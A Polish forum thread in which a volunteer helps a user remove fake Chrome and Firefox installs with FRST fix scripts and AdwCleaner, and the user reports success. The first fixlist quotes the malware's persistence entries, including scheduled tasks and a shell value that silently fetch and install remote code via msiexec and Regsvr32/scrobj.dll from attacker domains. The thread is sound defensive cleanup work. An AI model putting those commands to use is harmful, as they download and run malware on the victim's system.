adrianho4 Opublikowano 26 Kwietnia 2017 Zgłoś Udostępnij Opublikowano 26 Kwietnia 2017 WItam, od kilku dni mam na komputerze fałszywego google chrome oraz mozilla firefox, które po usunięciu po jakimś czasie powracają. Próbowałem rozwiązać problem adwcleanerem ale tak jak napisałem, po czasie problem wrócił. Załączam potrzebne logi i proszę o pomoc. FRST.txt Addition.txt Shortcut.txt gmer.txt Odnośnik do komentarza
Miszel03 Opublikowano 28 Kwietnia 2017 Zgłoś Udostępnij Opublikowano 28 Kwietnia 2017 Sytuacja zgodna z opisem tematu. Dwie fałszywki: pod Google Chrome i pod Mozilla FireFox. Po za tym widać również wpisy startowe na powłoce i w Harmonogramie zadań uruchamiające różne strony. Do poczytania, obowiązkowo: KLIK. To uchroni Cię przed kolejną wizytą w tym dziale 1. Otwórz Notatnik w nim wklej: CloseProcesses: CreateRestorePoint: HKU\S-1-5-21-252974029-621322211-1437129156-1001\...\ChromeHTML: -> C:\Program Files (x86)\Doeye\Application\chrome.exe (Google Inc.) RemoveDirectory: C:\Program Files (x86)\Doeye Task: {7BE3337D-631A-4D0C-8C69-A5F7CDA67D79} - System32\Tasks\T0528 => msiexec.exe /i hxxp://point.chcyhqc.com/anzhaungoimism3.dat /q Task: {A40E3F91-5995-4A8A-8699-53EFAA9D14A6} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1XOYI2F8U4NUQSMjhXNYY2FTJLM8NXFTIdNjZLOTE5FF== scrobj.dll Task: {E40686E5-FC3F-44C2-9348-C26991415F62} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1XOYI2F8U4NUQSMjhXNYY2FTJLM8NXFTIdNjZLOTE5FF== scrobj.dll C:\Users\Arekcipa\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk C:\Users\Arekcipa\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk C:\Users\Public\Desktop\Google Chrome.lnk FirewallRules: [{D6635014-F9FD-489A-A18A-D2C4BCD33616}] => (Allow) C:\Program Files (x86)\Doeye\Application\chrome.exe FirewallRules: [{8F2CADE9-7620-4E1E-978E-84231DE2E209}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe FirewallRules: [{70086F64-9FA6-483E-BD52-F45BDBB50643}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe RemoveDirectory: C:\Program Files (x86)\Firefox RemoveDirectory: C:\Users\Arekcipa\AppData\Roaming\Firefox RemoveDirectory: C:\Users\Arekcipa\AppData\Local\Firefox HKU\S-1-5-21-252974029-621322211-1437129156-1001\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1XOYI2F8U4NUQSMjhXNYY2FTJLM8NXFTIdNjZLOTE5FF== /q HKU\S-1-5-18\Control Panel\Desktop\\SCRNSAVE.EXE -> IFEO\DisplaySwitch.exe: [Debugger] IFEO\taskmgr.exe: [Debugger] HKU\S-1-5-21-252974029-621322211-1437129156-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Doeye\Application\chrome.exe (Google Inc.) R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [108720 2017-04-26] () S3 wfpcapture; \SystemRoot\System32\drivers\wfpcapture.sys [X] C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk C:\Users\Arekcipa\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk C:\Users\Public\Desktop\Mozilla Firefox.lnk DeleteKey: HKCU\Software\Mozilla DeleteKey: HKCU\Software\MozillaPlugins DeleteKey: HKLM\SOFTWARE\Mozilla DeleteKey: HKLM\SOFTWARE\MozillaPlugins DeleteKey: HKLM\SOFTWARE\Wow6432Node\Mozilla DeleteKey: HKLM\SOFTWARE\Wow6432Node\mozilla.org DeleteKey: HKLM\SOFTWARE\Wow6432Node\MozillaPlugins C:\Users\Arekcipa\AppData\Local\Mozilla C:\Users\Arekcipa\AppData\Roaming\Mozilla C:\Users\Arekcipa\AppData\Roaming\Profiles EmptyTemp: Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach. Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt. 2. Wyczyść i zabezpiecz przeglądarkę Google Chrome: Zresetuj synchronizację (o ile włączona): KLIK. Ustawienia > karta Rozszerzenia > odinstaluj wszystkie nieznane i niepotrzebne Ci rozszerzenia. Ustawienia > karta Ustawienia > Pokaż ustawienia zaawansowane > zjedź na sam spód i uruchom opcję Resetowanie ustawień. Zakładki i hasła nie zostaną naruszone. Ustawienia > karta Ustawienia > sekcja Szukaj > klik w Zarządzanie wyszukiwarkami > skasuj z listy wszystko z wyjątkiem Google. Zainstaluj rozszerzenie blokujące reklamy o podłożu nieinfekcyjnym, polecam rozszerzenie uBlock Origin Ustaw jakąkolwiek zaufaną przeglądarkę jako domyślną, najlepiej Google Chrome. To wymagany krok to kasacji modyfikacji infekcji. 3. Uruchom FRST, w polu Szukaj (Search) wklej poniższą frazę i kliknij w Szukaj w rejestrze (Search Registry). doeye;firefox Obok FRST powstanie raport SearchReg.txt - zaprezentuj go na forum. 4. Pobierz AdwCleaner uruchom go i kliknij Skanuj, a gdy uaktywni się przycisk Oczyść kliknij go. Dostarcz raport z tego działania. 5. Zrób nowy log FRST z opcji Skanuj (Scan) wraz z Addition i Shortcut. Dołącz też plik fixlog.txt. Odnośnik do komentarza
adrianho4 Opublikowano 30 Kwietnia 2017 Autor Zgłoś Udostępnij Opublikowano 30 Kwietnia 2017 Wielkie dzięki za odpowiedź. Wykonałem wszystkie kroki i załączam kolejne logi. AdwCleanerC3.txt SearchReg.txt Addition.txt Shortcut.txt FRST.txt Fixlog.txt Odnośnik do komentarza
Miszel03 Opublikowano 30 Kwietnia 2017 Zgłoś Udostępnij Opublikowano 30 Kwietnia 2017 Poprawkowe działania związane z kasacją szczątek po infekcji. Otwórz Notatnik w nim wklej: DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Doeye DeleteKey: HKEY_USERS\S-1-5-21-252974029-621322211-1437129156-1001\SOFTWARE\Doeye DeleteKey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Firefox DeleteKey: HKEY_USERS\S-1-5-21-252974029-621322211-1437129156-1001\SOFTWARE\Firefox Reboot: Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach. Plik zapisz pod nazwą fixlist.txt w folderze z którego uruchamiasz FRST. Uruchom FRST i kliknij w Napraw (Fix). Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, nastąpi restart systemu. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt. Po wykonaniu tego Fixu nie rób nowych logów, dostarcz tylko raport wynikowy (plik Fixlog). Podsumuj obecny stan systemu, napisz czy problem ustąpił itd. Odnośnik do komentarza
adrianho4 Opublikowano 1 Maja 2017 Autor Zgłoś Udostępnij Opublikowano 1 Maja 2017 Wszystko wygląda w porządku, nie ma już żadnych folderów. Więc problem powinien być rozwiązany. Jeszcze raz wielkie dzięki! Fixlog.txt Odnośnik do komentarza
Miszel03 Opublikowano 1 Maja 2017 Zgłoś Udostępnij Opublikowano 1 Maja 2017 W takim razie kończymy. Zastouj DelFix (kasacja używanych narzędzi) oraz zaktualizuj oprogramowanie zewnętrzne oraz Windows. Odnośnik do komentarza
Rekomendowane odpowiedzi
Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto
Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.
Zarejestruj nowe konto
Załóż nowe konto. To bardzo proste!
Zarejestruj sięZaloguj się
Posiadasz już konto? Zaloguj się poniżej.
Zaloguj się